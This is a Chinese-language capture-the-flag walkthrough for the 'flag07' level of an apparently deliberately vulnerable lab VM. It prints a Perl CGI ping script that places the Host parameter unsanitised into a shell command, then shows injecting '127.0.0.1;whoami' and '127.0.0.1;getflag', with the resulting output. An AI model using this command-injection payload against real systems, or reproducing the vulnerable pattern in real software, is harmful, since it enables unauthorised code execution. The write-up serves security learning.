在/home/flag07这个目录中,有一个index.cgi和thttpd.conf。它是一个cgi程序,既然是一个cgi程序,我们需要客户端访问,根据thttpd.conf配置文件中的内容,得知端口号是7007。
这关考验的是分析这个index.cgi,我们先看下它的源码:
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
这段代码的功能是通过调用外部的ping命令去ping指定的ip地址,ip地址通过参数获得:$host = $_[0];。然后加了-c参数——指定了发送数据包的数量为3。最后,程序会把ping的结果返回到客户端的浏览器中。
我们先配置好虚拟机的地址,保障实体机的系统可以正常访问,我这里为它配置 的地址是192.168.56.101。实体机访问 http://192.168.56.101:7007/index.cgi 可以成功访问,然后提交URI:http://192.168.56.101:7007/index.cgi?Host=127.0.0.1 即可看到回显结果,注意参数Host开头是大写,index.cgi最后行代码决定了参数:
param("Host")
这段Perl脚本的漏洞出现在以下代码上:
@output = `ping -c 3 $host 2>&1`;
这句出现了可执行任意文件漏洞。在Perl中,“`”(Tab键上的那个键)符号之间的内容是调用的外部命令。
为了方便,我在本地写了个html页面方便提交,读者也可以用nc、curl等工具提交:
<html>
<head><title>test</title></head>
<body>
<form action="http://192.168.56.101:7007/index.cgi" method="get">
<input type="text" name="Host" />
<input type="submit" />
</form>
</body>
</html>
然后,用浏览器打开这个html文件,输入:127.0.0.1;whoami,提交,显示结果中的最后行多出个“flag07”,说明当前以flag07身份执行的。于是继续提交127.0.0.1;getflag,显示结果:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.018 ms 64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.051 ms 64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.057 ms --- 127.0.0.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 0.018/0.042/0.057/0.017 ms You have successfully executed getflag on a target account
注意到最后行:You have successfully executed getflag on a target account。